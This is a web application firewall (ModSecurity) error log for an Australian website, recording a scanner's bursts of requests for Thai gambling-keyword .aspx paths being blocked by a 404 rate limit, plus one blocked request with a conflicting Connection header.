[Tue Jan 27 10:20:01.107664 2026] [:error] [pid 7454:tid 7535] [client 93.158.213.25:50028] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20pg%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B9%81%E0%B8%95%E0%B8%81%E0%B8%AB%E0%B8%99%E0%B8%B1%E0%B8%81%20%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B8%96%E0%B8%AD%E0%B8%99%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%A1%E0%B8%B5%20%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%20%E0%B8%95%E0%B9%88%E0%B9%8D%E0%B8%B2.aspx"] [unique_id "aXgg0ZltCoZEfMmfl8DKRgAAAJM"]
[Tue Jan 27 10:20:04.352754 2026] [:error] [pid 7454:tid 7528] [client 93.158.213.25:50044] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20pg%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B9%81%E0%B8%95%E0%B8%81%E0%B8%AB%E0%B8%99%E0%B8%B1%E0%B8%81%202024.aspx"] [unique_id "aXgg1JltCoZEfMmfl8DKSQAAAIw"]
[Tue Jan 27 10:20:07.170617 2026] [:error] [pid 48412:tid 48438] [client 93.158.213.25:36844] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20pg%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B9%81%E0%B8%95%E0%B8%81%E0%B8%AB%E0%B8%99%E0%B8%B1%E0%B8%81.aspx"] [unique_id "aXgg13bJMfAKlln88JFv8AAAAVg"]
[Tue Jan 27 10:20:10.341603 2026] [:error] [pid 41780:tid 41801] [client 93.158.213.25:36856] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20pg%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%9C%E0%B9%88%E0%B8%B2%E0%B8%99%E0%B9%80%E0%B8%AD%E0%B9%80%E0%B8%A2%E0%B9%88%E0%B8%99%E0%B8%95%E0%B9%8C%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B8%96%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%A1%E0%B8%B5%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%E0%B8%95%E0%B9%88%E0%B9%8D%E0%B8%B2.aspx"] [unique_id "aXgg2lvu-XLQ0TaZ4FGxBAAAARM"]
[Tue Jan 27 10:20:10.955853 2026] [:error] [pid 7453:tid 7507] [client 43.163.206.70:57406] [client 43.163.206.70] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aXgg2hfsyA2ws_ADquj0UQAAAFI"]
[Tue Jan 27 10:20:13.348707 2026] [:error] [pid 48412:tid 48417] [client 93.158.213.25:36858] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20pg%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%9C%E0%B9%88%E0%B8%B2%E0%B8%99%E0%B9%80%E0%B8%AD%E0%B9%80%E0%B8%A2%E0%B9%88%E0%B8%99%E0%B8%95%E0%B9%8C%202021.aspx"] [unique_id "aXgg3XbJMfAKlln88JFv_QAAAUM"]
[Tue Jan 27 10:20:17.417196 2026] [:error] [pid 41780:tid 41801] [client 93.158.213.25:33114] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20pg%20%E0%B9%81%E0%B8%97%E0%B9%89.aspx"] [unique_id "aXgg4Vvu-XLQ0TaZ4FGxEgAAARM"]
[Tue Jan 27 10:20:20.993928 2026] [:error] [pid 48446:tid 48500] [client 93.158.213.25:33116] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20pg.aspx"] [unique_id "aXgg5MDRSaZ8F8aaLxkglAAAAdY"]
[Tue Jan 27 10:20:58.640411 2026] [:error] [pid 48631:tid 48636] [client 93.158.213.25:35794] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87.aspx"] [unique_id "aXghCiN5eesHzEogX0zoaQAAAkM"]
[Tue Jan 27 10:21:01.604149 2026] [:error] [pid 41780:tid 41792] [client 93.158.213.25:35502] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%8799.aspx"] [unique_id "aXghDVvu-XLQ0TaZ4FGxYQAAAQo"]
[Tue Jan 27 10:21:05.190925 2026] [:error] [pid 48528:tid 48547] [client 93.158.213.25:35510] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87pp.aspx"] [unique_id "aXghEQOGRrquT9N7CZolgwAAAhE"]
[Tue Jan 27 10:21:08.593422 2026] [:error] [pid 7453:tid 7512] [client 93.158.213.25:36168] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%97%E0%B8%A3%E0%B8%B9%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97.aspx"] [unique_id "aXghFBfsyA2ws_ADquj07AAAAFc"]
[Tue Jan 27 10:21:11.558695 2026] [:error] [pid 48412:tid 48431] [client 93.158.213.25:36174] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B8%96%E0%B8%AD%E0%B8%99%20true%20wallet%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%A1%E0%B8%B5%20%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%E0%B8%95%E0%B9%88%E0%B9%8D%E0%B8%B2.aspx"] [unique_id "aXghF3bJMfAKlln88JFwLwAAAVE"]
[Tue Jan 27 10:21:14.382542 2026] [:error] [pid 7454:tid 7522] [client 93.158.213.25:36186] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B8%96%E0%B8%AD%E0%B8%99%20true%20wallet%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%A1%E0%B8%B5%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%E0%B8%95%E0%B9%88%E0%B9%8D%E0%B8%B2.aspx"] [unique_id "aXghGpltCoZEfMmfl8DKvQAAAIY"]
[Tue Jan 27 10:21:17.311534 2026] [:error] [pid 48446:tid 48492] [client 93.158.213.25:47122] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B8%96%E0%B8%AD%E0%B8%99%20true%20wallet.aspx"] [unique_id "aXghHcDRSaZ8F8aaLxkgsAAAAc4"]
[Tue Jan 27 10:21:20.434717 2026] [:error] [pid 48445:tid 48471] [client 93.158.213.25:47134] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B8%96%E0%B8%AD%E0%B8%99%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97.aspx"] [unique_id "aXghIBFh_QNUhZ0HkzeHBgAAAZY"]
[Tue Jan 27 10:21:23.127879 2026] [:error] [pid 7453:tid 7501] [client 93.158.213.25:47146] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B8%96%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%A1%E0%B8%B5%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%E0%B8%95%E0%B9%88%E0%B8%B3.aspx"] [unique_id "aXghIxfsyA2ws_ADquj1DgAAAEw"]
[Tue Jan 27 10:21:26.020796 2026] [:error] [pid 48412:tid 48415] [client 93.158.213.25:55960] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B8%96%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%A1%E0%B8%B5%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%E0%B8%95%E0%B9%88%E0%B9%8D%E0%B8%B2.aspx"] [unique_id "aXghJnbJMfAKlln88JFwRQAAAUE"]
[Tue Jan 27 10:21:29.037591 2026] [:error] [pid 7453:tid 7503] [client 93.158.213.25:55974] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%811%E0%B8%A3%E0%B8%B1%E0%B8%9A50.aspx"] [unique_id "aXghKRfsyA2ws_ADquj1GwAAAE4"]
[Tue Jan 27 10:21:32.436616 2026] [:error] [pid 48528:tid 48546] [client 93.158.213.25:55978] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%8110%E0%B8%A3%E0%B8%B1%E0%B8%9A100%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXghLAOGRrquT9N7CZollgAAAhA"]
[Tue Jan 27 10:21:35.819938 2026] [:error] [pid 41780:tid 41790] [client 93.158.213.25:55986] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%8110%E0%B8%A3%E0%B8%B1%E0%B8%9A100%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97.aspx"] [unique_id "aXghL1vu-XLQ0TaZ4FGxcgAAAQg"]
[Tue Jan 27 10:21:39.242535 2026] [:error] [pid 48445:tid 48461] [client 93.158.213.25:38124] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95.aspx"] [unique_id "aXghMxFh_QNUhZ0HkzeHCQAAAYw"]
[Tue Jan 27 10:21:42.038956 2026] [:error] [pid 48445:tid 48459] [client 93.158.213.25:38132] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95100.aspx"] [unique_id "aXghNhFh_QNUhZ0HkzeHDgAAAYo"]
[Tue Jan 27 10:21:45.041237 2026] [:error] [pid 48446:tid 48482] [client 93.158.213.25:38136] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%A3%E0%B8%B1%E0%B8%9A%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXghOcDRSaZ8F8aaLxkgzQAAAcU"]
[Tue Jan 27 10:21:49.068314 2026] [:error] [pid 7454:tid 7532] [client 93.158.213.25:33008] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXghPZltCoZEfMmfl8DK6wAAAJA"]
[Tue Jan 27 10:21:52.364832 2026] [:error] [pid 48446:tid 48497] [client 93.158.213.25:33016] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXghQMDRSaZ8F8aaLxkg6wAAAdM"]
[Tue Jan 27 10:21:55.485307 2026] [:error] [pid 41780:tid 41802] [client 93.158.213.25:33020] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%AD%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%A5%E0%B8%99%E0%B9%8C%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95.aspx"] [unique_id "aXghQ1vu-XLQ0TaZ4FGxgQAAARQ"]
[Tue Jan 27 10:22:22.936773 2026] [:error] [pid 41780:tid 41796] [client 93.158.213.25:48188] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B9%81%E0%B8%95%E0%B8%81%E0%B8%87%E0%B9%88%E0%B8%B2%E0%B8%A2%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%A1%E0%B8%B5%20%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%E0%B8%95%E0%B9%88%E0%B8%B3.aspx"] [unique_id "aXghXlvu-XLQ0TaZ4FGxmwAAAQ4"]
[Tue Jan 27 10:22:25.788608 2026] [:error] [pid 48662:tid 48673] [client 93.158.213.25:59620] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B9%81%E0%B8%95%E0%B8%81%E0%B8%87%E0%B9%88%E0%B8%B2%E0%B8%A2.aspx"] [unique_id "aXghYeD8iESUP9uRiROnHgAAAoU"]
[Tue Jan 27 10:22:28.502097 2026] [:error] [pid 48412:tid 48427] [client 93.158.213.25:40778] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20chang123.io.aspx"] [unique_id "aXghZHbJMfAKlln88JFwlQAAAU0"]
[Tue Jan 27 10:22:31.220727 2026] [:error] [pid 48412:tid 48425] [client 93.158.213.25:40792] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20k9win.aspx"] [unique_id "aXghZ3bJMfAKlln88JFwngAAAUs"]
[Tue Jan 27 10:22:34.234529 2026] [:error] [pid 7561:tid 7580] [client 93.158.213.25:40794] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/10%20%E0%B8%A3%E0%B8%B1%E0%B8%9A%20100.aspx"] [unique_id "aXgharXGI6mgvHQqkXx0GAAAANA"]
[Tue Jan 27 10:22:36.981514 2026] [:error] [pid 48662:tid 48682] [client 93.158.213.25:52394] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/grand%20lisboa%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXghbOD8iESUP9uRiROnJQAAAo4"]
[Tue Jan 27 10:22:40.001596 2026] [:error] [pid 48528:tid 48537] [client 93.158.213.25:52406] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXghcAOGRrquT9N7CZol9QAAAgc"]
[Tue Jan 27 10:22:42.951336 2026] [:error] [pid 48631:tid 48655] [client 93.158.213.25:52422] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXghciN5eesHzEogX0zooAAAAlY"]
[Tue Jan 27 10:22:45.979036 2026] [:error] [pid 48412:tid 48425] [client 93.158.213.25:52440] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "aXghdXbJMfAKlln88JFwrAAAAUs"]
[Tue Jan 27 10:22:48.866759 2026] [:error] [pid 48412:tid 48433] [client 93.158.213.25:44508] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aXgheHbJMfAKlln88JFwtAAAAVM"]
